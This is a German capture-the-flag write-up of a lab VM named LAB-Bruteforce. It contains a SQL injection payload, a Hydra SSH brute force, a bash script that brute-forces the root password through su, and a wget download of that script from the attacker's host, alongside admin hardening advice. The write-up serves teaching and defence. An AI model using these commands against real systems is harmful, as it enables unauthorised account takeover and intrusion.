Die Aufklärungsphase beginnt wie üblich mit der Identifizierung aktiver Hosts im lokalen Netzwerk. `arp-scan` ist hierfür ein schnelles und effektives Werkzeug.
192.168.2.122 08:00:27:c0:d7:d5 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen an alle Geräte im lokalen Netzwerk, um deren IP- und MAC-Adressen zu ermitteln. Die Ausgabe zeigt, dass die IP-Adresse `192.168.2.122` aktiv ist und die MAC-Adresse `08:00:27:c0:d7:d5` dem Hersteller "PCS Systemtechnik GmbH" zugeordnet ist. Dies ist ein typischer Indikator für eine VirtualBox-VM.
Bewertung: Die Ziel-IP wurde erfolgreich identifiziert. Das Wissen, dass es sich wahrscheinlich um eine VirtualBox-VM handelt, ist in CTF-Szenarien oft hilfreich, aber für den weiteren Pentest-Prozess weniger kritisch.
Empfehlung (Pentester): Der nächste Schritt ist ein detaillierter Portscan auf der gefundenen IP-Adresse, um offene Dienste zu identifizieren.
Empfehlung (Admin): Aus Sicht der Netzwerkverteidigung ist es wichtig, ein Inventar aller Geräte im Netzwerk zu führen und unautorisierte Geräte zu erkennen. Mechanismen zur Erkennung von ARP-Spoofing können ebenfalls die Netzwerksicherheit erhöhen.
Nachdem die IP-Adresse des Ziels bekannt ist, führe ich einen umfassenden Nmap-Scan durch, um offene Ports, die darauf laufenden Dienste, deren Versionen und das Betriebssystem zu ermitteln. Ich verwende hier aggressive Optionen für eine schnelle und detaillierte Erkundung.
Starting Nmap 7.93 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2023-04-08 01:08 CEST Nmap scan report for LAB-Bruteforce (192.168.2.122) Host is up (0.00014s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 1cdbf89272c472dc24c3ca7c80ebf481 (RSA) | 256 7f3033e2f40d87415ea324de57c6738b (ECDSA) |_ 256 9a9e2f53e02bb4983f3495535687a476 (ED25519) 10000/tcp open http MiniServ 2.021 (Webmin httpd) |_http-title: 200 — Document follows 19000/tcp open netbios-ssn Samba smbd 4.6.2 19222/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 08:00:27:C0:D7:D5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms LAB-Bruteforce (192.168.2.122) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] . Nmap done: 1 IP address (1 host up) scanned in 88.37 seconds
Analyse: Der Nmap-Befehl verwendete folgende Optionen:
-sS: TCP SYN Scan (Stealth Scan).-sC: Führt Standard-Skriptscans durch.-sV: Führt Versionserkennung für die Dienste durch.-T5: Setzt das Timing-Template auf "Insane", was den Scan extrem beschleunigt, aber auch unzuverlässiger sein kann und leichter von IDS erkannt wird.-A: Diese Option wurde durch -O (OS Detection) ersetzt oder ist hier als -AO gemeint, was eine Kombination darstellt. -A alleine aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. -O ist spezifisch für die Betriebssystemerkennung. Angesichts der Ausgabe scheint eine umfassende Erkennung stattgefunden zu haben.-p-: Scannt alle 65535 TCP-Ports.Bewertung: Der Nmap-Scan hat mehrere potenzielle Angriffsvektoren aufgedeckt. Webmin auf Port 10000 ist ein primäres Ziel, da Administrationskonsolen oft Schwachstellen aufweisen oder anfällig für Brute-Force-Angriffe sind. SSH ist ein weiterer Vektor, falls Anmeldeinformationen erlangt werden können. Die Samba-Dienste sind ebenfalls prüfenswert auf anonymen Zugriff, bekannte Schwachstellen in Version 4.6.2 oder schwache Freigaben.
Empfehlung (Pentester):
Ich beginne mit der Untersuchung des Webdienstes auf Port 10000, bei dem es sich laut Nmap um Webmin (MiniServ 2.021) handelt. Zuerst versuche ich eine einfache SQL-Injection im Browser auf der vermuteten Login-Seite `https://192.168.2.122:10000/session_login.cgi`.
Browser Fuzzing SQLi (Manuelle Eingabe in URL oder Formularfeld) URL: https://192.168.2.122:10000/session_login.cgi Payload (z.B. im Username-Feld): ' OR 1=1-- - Antwort: Error — Invalid username Username contains invalid characters
Analyse: Ich habe versucht, einen klassischen SQL-Injection-Payload `' OR 1=1-- -` in das Benutzernamenfeld der Webmin-Login-Seite einzugeben. Die Anwendung antwortet mit "Error — Invalid username" und "Username contains invalid characters".
Bewertung: Die Fehlermeldung deutet darauf hin, dass die Anwendung eine Eingabevalidierung für das Benutzernamenfeld durchführt und Sonderzeichen wie das einfache Anführungszeichen (`'`) blockiert. Dies macht eine einfache SQL-Injection an dieser Stelle unwahrscheinlich, schließt sie aber nicht vollständig aus (z.B. wenn die Validierung umgangen werden kann oder andere Parameter anfällig sind).
Empfehlung (Pentester): Testen Sie andere SQLi-Payloads, die möglicherweise keine blockierten Zeichen verwenden (z.B. Blind SQLi, numerische SQLi, falls zutreffend). Untersuchen Sie alle Eingabefelder und Parameter der Login-Seite. Suchen Sie nach bekannten Schwachstellen für Webmin/MiniServ 2.021.
Empfehlung (Admin): Eine serverseitige Eingabevalidierung ist gut. Stellen Sie sicher, dass sie umfassend ist und alle potenziell gefährlichen Zeichen korrekt behandelt. Verwenden Sie parametrisierte Abfragen (Prepared Statements) für alle Datenbankinteraktionen, um SQL-Injection grundsätzlich zu verhindern.
Um mehr über die Webanwendung auf Port 10000 zu erfahren und mögliche Schwachstellen oder interessante Dateien zu finden, setze ich Nikto ein. Die Option `-C all` erzwingt die Überprüfung aller CGI-Verzeichnisse.
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.2.122
+ Target Hostname: 192.168.2.122
+ Target Port: 10000
---------------------------------------------------------------------------
+ SSL Info: Subject: /CN=LAB-Bruteforce/C=US/L=Santa Clara
Ciphers: TLS_AES_256_GCM_SHA384
Issuer: /CN=LAB-Bruteforce/C=US/L=Santa Clara
+ Start Time: 2023-04-08 01:11:15 (GMT2)
---------------------------------------------------------------------------
+ Server: MiniServ/2.021
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'auth-type' found, with contents: auth-required=1
+ Uncommon header 'x-no-links' found, with contents: 1
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ Hostname '192.168.2.122' does not match certificate's names: LAB-Bruteforce
+ Multiple index files found (note, these may not all be unique): /index.shtml, /index.cfm, /default.htm, /index.php3, /index.cgi, /index.htm, /default.aspx, /index.do, /index.php5, /index.php4, /index.php7, /default.asp, /index.jhtml, /index.pl, /index.jsp, /index.php, /index.xml, /index.aspx, /index.html, /index.asp
+ MiniServ - This is the Webmin Unix administrator. It should not be running unless required.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See [Link: http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx | Ziel: http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx] for details.
+ /cgi.cgi/cart32.exe: request cart32.exe/cart32clientlist
+ /ows-bin/classified.cgi: Check Phrack 55 for info by RFP
+ /cgi-sys/classified.cgi: Check Phrack 55 for info by RFP
+ /cgi-local/classified.cgi: Check Phrack 55 for info by RFP
... (Ausgabe gekürzt, viele ähnliche CGI-Checks) ...
+ /cgi-bin-sdb/flexform.cgi: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi-mod/flexform.cgi: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi.cgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /webcgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi-914/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi-915/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /bin/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /cgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
+ /mpcgi/flexform: Check Phrack 55 for info by RFP, allows to append info to writable files.
Analyse: Nikto liefert eine Fülle von Informationen und potenziellen Hinweisen:
Bewertung: Die fehlenden Sicherheitsheader sind klassische Findings. Die CGI-Checks sind meist generisch und nicht unbedingt auf Webmin direkt anwendbar, aber es ist gut, sie geprüft zu haben. Die Information, dass es sich um eine Webmin-Administrationskonsole handelt, ist der wichtigste Punkt, da dies das Hauptziel für Angriffe auf diesen Port darstellt. Der `auth-type` Header bestätigt, dass eine Authentifizierung erforderlich ist.
Empfehlung (Pentester):
Da Webmin auf Port 10000 läuft und SSH auf Port 22, versuche ich einen Brute-Force-Angriff auf den SSH-Dienst. Aus dem Hostnamen "LAB-Bruteforce" und der allgemeinen Natur von CTFs vermute ich, dass es einen Benutzer geben könnte, dessen Name im Kontext der Aufgabe relevant ist oder leicht zu erraten ist. Ich entscheide mich, den Benutzernamen `andrea` zu testen (dieser könnte z.B. durch weitere Enumeration oder als gängiger Name bekannt sein) und verwende `rockyou.txt` als Passwortliste mit Hydra.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2023-04-09 23:59:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344413 login tries (l:1/p:14344413), ~224132 tries per task
[DATA] attacking ssh://brute.hmv:22/
[STATUS] 343.00 tries/min, 343 tries in 00:01h, 14344099 to do in 696:60h, 35 active
[STATUS] 241.33 tries/min, 724 tries in 00:03h, 14343726 to do in 990:36h, 27 active
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[22][ssh] host: brute.hmv login: andrea password: awesome
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 of 1 target successfully completed, 1 valid password found
Analyse: Der Befehl `hydra -l andrea -P /usr/share/wordlists/rockyou.txt ssh://brute.hmv:22 -I -t 64` führt einen Brute-Force-Angriff gegen den SSH-Dienst auf `brute.hmv` (Port 22) durch.
Bewertung: Ein klassischer Brute-Force-Angriff war erfolgreich. Dies zeigt, dass der Benutzer `andrea` ein schwaches, in gängigen Wortlisten enthaltenes Passwort verwendet. Dies ist der erste Schritt zum initialen Zugriff.
Empfehlung (Pentester): Nutzen Sie die gefundenen Anmeldeinformationen (`andrea:awesome`), um sich per SSH auf dem Zielsystem anzumelden.
Empfehlung (Admin): Setzen Sie eine starke Passwortrichtlinie durch. Verbieten Sie die Verwendung von Passwörtern, die in bekannten Wortlisten enthalten sind. Implementieren Sie Mechanismen zur Abwehr von Brute-Force-Angriffen auf SSH, wie z.B. `fail2ban` oder die Begrenzung der Anzahl fehlgeschlagener Login-Versuche. Bevorzugen Sie schlüsselbasierte Authentifizierung gegenüber passwortbasierter Authentifizierung für SSH.
Mit den durch Hydra gefundenen Anmeldeinformationen (`andrea:awesome`) verbinde ich mich nun per SSH mit dem Zielsystem.
The authenticity of host 'brute.hmv (192.168.2.122)' can't be established. ED25519 key fingerprint is SHA256:jxCJlAEwfgAbyE4RC2RJnQM/Y0rUXe+Yt6q7Y69okUg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'brute.hmv' (ED25519) to the list of known hosts. andrea@brute.hmv's password: awesome Linux LAB-Bruteforce 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 26 21:26:42 2023 from 192.168.1.84 andrea@LAB-Bruteforce:~$
Analyse: Der SSH-Login mit `andrea@brute.hmv` und dem Passwort `awesome` war erfolgreich. Ich erhalte eine Shell als Benutzer `andrea` auf dem Zielsystem `LAB-Bruteforce`. Die Willkommensnachricht zeigt Details zum Betriebssystem (Debian 5.10.0-21-amd64).
Bewertung: Der initiale Zugriff auf das System ist hiermit erfolgt. Ich habe nun eine interaktive Shell und kann mit der Enumeration des Systems aus der Innensicht beginnen, um Wege zur Privilegieneskalation zu finden.
Empfehlung (Pentester): Führen Sie grundlegende Enumerationsbefehle aus: `id`, `whoami`, `pwd`, `ls -la /home`, `cat /etc/passwd`, `sudo -l`, `find / -type f -perm -4000 -ls 2>/dev/null` (Suche nach SUID-Dateien), überprüfen Sie Cronjobs, laufende Prozesse usw.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass Benutzer keine schwachen Passwörter verwenden. Regelmäßige Überprüfung der Benutzerkonten und deren Aktivitäten ist wichtig.
Nachdem ich als Benutzer `andrea` auf dem System bin, überprüfe ich sofort die `sudo`-Berechtigungen und suche nach der User-Flag.
[sudo] password for andrea: awesome Sorry, user andrea may not run sudo on Lab-Bruteforce.
Analyse (`sudo -l`): Der Befehl `sudo -l` erfordert erneut das Passwort von `andrea`. Nach Eingabe wird die Meldung "Sorry, user andrea may not run sudo on Lab-Bruteforce." angezeigt. Das bedeutet, der Benutzer `andrea` hat keine `sudo`-Rechte konfiguriert.
Bewertung (`sudo -l`): `sudo` ist hier also kein direkter Weg zur Privilegieneskalation für den Benutzer `andrea`.
Empfehlung (Pentester): Andere Vektoren für Privilegieneskalation müssen untersucht werden, wie SUID/SGID-Binaries, Kernel-Exploits (abhängig von der Kernel-Version), schlecht konfigurierte Cronjobs, ausnutzbare Dienste, die lokal laufen, oder Passwörter/Schlüssel in Konfigurationsdateien.
Ich suche nach der User-Flag, die sich üblicherweise im Home-Verzeichnis des Benutzers oder an einem Standardort befindet.
d5eb7d8b6f57c295e0bedf7eef531360
Analyse (User-Flag): Die Datei `user.txt` befindet sich im Home-Verzeichnis von `andrea` und enthält die User-Flag `d5eb7d8b6f57c295e0bedf7eef531360`.
Bewertung (User-Flag): Das erste Ziel (User-Flag) wurde erreicht.
Da `sudo -l` keine direkten Möglichkeiten offenbarte, suche ich nach SUID-Binaries auf dem System. SUID-Dateien werden mit den Rechten des Dateieigentümers (oft `root`) ausgeführt und können, wenn sie Schwachstellen enthalten oder falsch verwendet werden, zur Privilegieneskalation missbraucht werden.
443491 20 -rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1
423160 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign
410837 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
534734 16 -rwsr-sr-x 1 root root 14608 Feb 1 15:11 /usr/lib/xorg/Xorg.wrap
462605 396 -rwsr-xr-- 1 root dip 403752 Jan 7 2021 /usr/sbin/pppd
443488 24 -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec
393901 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
390244 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
462722 180 -rwsr-xr-x 1 root root 182600 Jan 14 14:29 /usr/bin/sudo
394268 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
390248 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
393742 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
394270 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
390247 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
390245 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
449650 36 -rwsr-xr-x 1 root root 35048 Jun 20 2021 /usr/bin/fusermount3
462317 156 -rwsr-xr-x 1 root root 158448 Nov 2 22:46 /usr/bin/ntfs-3g
Analyse (SUID-Dateien): Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` listet alle Dateien (-type f) im gesamten Dateisystem (/) auf, bei denen das SUID-Bit gesetzt ist (-perm -4000). Die Option -ls sorgt für eine detaillierte Auflistung im `ls -dils`-Format, und `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei Verzeichnissen, auf die kein Zugriff besteht).
Die Liste enthält viele Standard-SUID-Binaries wie `su`, `sudo`, `passwd`, `pkexec`, `mount`, `umount`. Diese sind normalerweise sicher konfiguriert. Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die sofort als Schwachstelle ins Auge springen.
Bewertung (SUID-Dateien): Die gefundenen SUID-Dateien sind größtenteils Standard und bieten auf den ersten Blick keine einfache Privilegieneskalation, es sei denn, es gäbe eine bekannte Schwachstelle in einer der spezifischen Versionen dieser Tools auf dem System, die nicht gepatcht wurde, oder eine ungewöhnliche Konfiguration. Das Vorhandensein von `su` mit SUID-Bit ist normal und ermöglicht den Wechsel des Benutzers, wenn das Passwort bekannt ist.
Empfehlung (Pentester):
Da die Standard-SUID-Binaries auf den ersten Blick keine einfache Ausnutzung ermöglichen und `sudo -l` keine Rechte für `andrea` zeigte, überlege ich, ob das Root-Passwort möglicherweise schwach ist. Da der Name der Maschine "Bruteforcelab" ist, liegt die Vermutung nahe, dass Passwörter eine Rolle spielen. Ich erstelle ein einfaches Bash-Skript, um Jahreszahlen als Root-Passwort über `su` zu testen. Dies ist ein sehr spezifischer Brute-Force-Versuch, der auf der Annahme basiert, dass das Root-Passwort eine Jahreszahl sein könnte, was in CTFs manchmal vorkommt.
#!/bin/bash
for i in {1990..2000}
do
user="root"
trysu=`echo "$i" | su root -c whoami 2>/dev/null`
if [ "$trysu" ]; then
echo -e "verwende den User: \033[32m$user\033[0m und das passwort: \033[32m$i";
exit 0;
fi
done
Analyse (Brute-Force-Skript): Das Bash-Skript `crack_su_password_num.sh` iteriert durch die Zahlen von 1990 bis 2000. In jeder Iteration versucht es, mit der aktuellen Zahl `$i` als Passwort via `su root -c whoami` den Befehl `whoami` als `root` auszuführen.
Bewertung (Brute-Force-Skript): Dies ist ein sehr gezielter und schneller Brute-Force-Versuch für eine kleine Menge möglicher Passwörter. Es ist nur effektiv, wenn das Passwort tatsächlich in diesem kleinen Zahlenbereich liegt. Angesichts des Challenge-Namens ist es jedoch einen Versuch wert.
Empfehlung (Pentester): Laden Sie dieses Skript auf das Zielsystem hoch (z.B. in `/tmp`), machen Sie es ausführbar und führen Sie es aus.
Empfehlung (Admin): Verwenden Sie niemals solch einfache oder erratbare Passwörter für den Root-Account (oder irgendeinen Account). Implementieren Sie Account-Sperrmechanismen nach mehreren fehlgeschlagenen Login-Versuchen, um Brute-Force-Angriffe zu erschweren, auch lokal via `su`.
Ich lade das Skript `crack_su_password_num.sh` von meinem Angreifer-PC (wo ich einen einfachen Python-HTTP-Server auf Port 8555 gestartet habe) auf das Zielsystem in das Verzeichnis `/tmp`.
--2023-04-10 01:21:12-- [Link: http://192.168.2.114:8555/crack_su_password_num.sh | Ziel: http://192.168.2.114:8555/crack_su_password_num.sh] Connecting to 192.168.2.114:8555... connected. HTTP request sent, awaiting response... 200 OK Length: 248 [text/x-sh] Saving to: ‘crack_su_password_num.sh ’ crack_su_password_num.sh 100%[=============================>] 248 --.-KB/s in 0s 2023-04-10 01:21:12 (108 MB/s) - ‘crack_su_password_num.sh ’ saved [248/248]
Analyse (Skript-Download): Der `wget`-Befehl hat das Skript erfolgreich von meinem lokalen HTTP-Server heruntergeladen und in `/tmp` auf dem Zielsystem gespeichert.
Bewertung (Skript-Download): Der Transfer war erfolgreich. Das Skript ist nun auf dem Zielsystem verfügbar.
Empfehlung (Pentester): Stellen Sie sicher, dass das Zielsystem ausgehende Verbindungen zu Ihrem HTTP-Server herstellen kann. `/tmp` ist oft ein guter Ort, um temporäre Dateien abzulegen, da es normalerweise für alle Benutzer beschreibbar ist.
Ich mache das heruntergeladene Skript ausführbar und starte es.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User: root --->> passwort: 1998
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Analyse (Skript-Ausführung): Das Skript wurde mit `chmod +x` ausführbar gemacht und dann mit `./crack_su_password_num.sh` gestartet. Das Skript war erfolgreich und hat das Passwort `1998` für den Benutzer `root` gefunden.
Bewertung (Skript-Ausführung): Volltreffer! Das Root-Passwort wurde durch diesen gezielten Brute-Force-Angriff aufgedeckt. Dies ist der Schlüssel zur vollständigen Kompromittierung des Systems. Die Annahme, dass das Passwort eine Jahreszahl sein könnte, war korrekt.
Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `1998`, um sich mit `su root` als Root-Benutzer anzumelden.
Empfehlung (Admin): Dies unterstreicht die Gefahr von schwachen und leicht erratbaren Passwörtern, insbesondere für den Root-Account. Ändern Sie das Root-Passwort sofort in ein starkes, einzigartiges Passwort. Implementieren Sie Account-Sperrmechanismen.
Mit dem nun bekannten Root-Passwort `1998` wechsle ich den Benutzer zu `root`.
Password: 1998 root@LAB-Bruteforce:/tmp#
Analyse (Root-Zugriff): Der Befehl `su root` wurde ausgeführt, und nach Eingabe des Passworts `1998` wurde der Benutzer erfolgreich zu `root` gewechselt. Der Prompt ändert sich zu `root@LAB-Bruteforce:/tmp#`, was den erfolgreichen Wechsel bestätigt.
Bewertung (Root-Zugriff): Fantastisch! Die vollständige Kompromittierung des Systems ist erreicht. Ich habe nun Root-Rechte.
Empfehlung (Pentester): Suchen Sie nach der Root-Flag, die sich normalerweise im `/root`-Verzeichnis befindet. Dokumentieren Sie alle Schritte.
Empfehlung (Admin): Das System ist als vollständig kompromittiert zu betrachten. Es sollte vom Netz genommen, forensisch untersucht und neu aufgesetzt werden. Alle identifizierten Schwachstellen (schwaches SSH-Passwort für `andrea`, extrem schwaches Root-Passwort) müssen im neu aufgesetzten System behoben werden.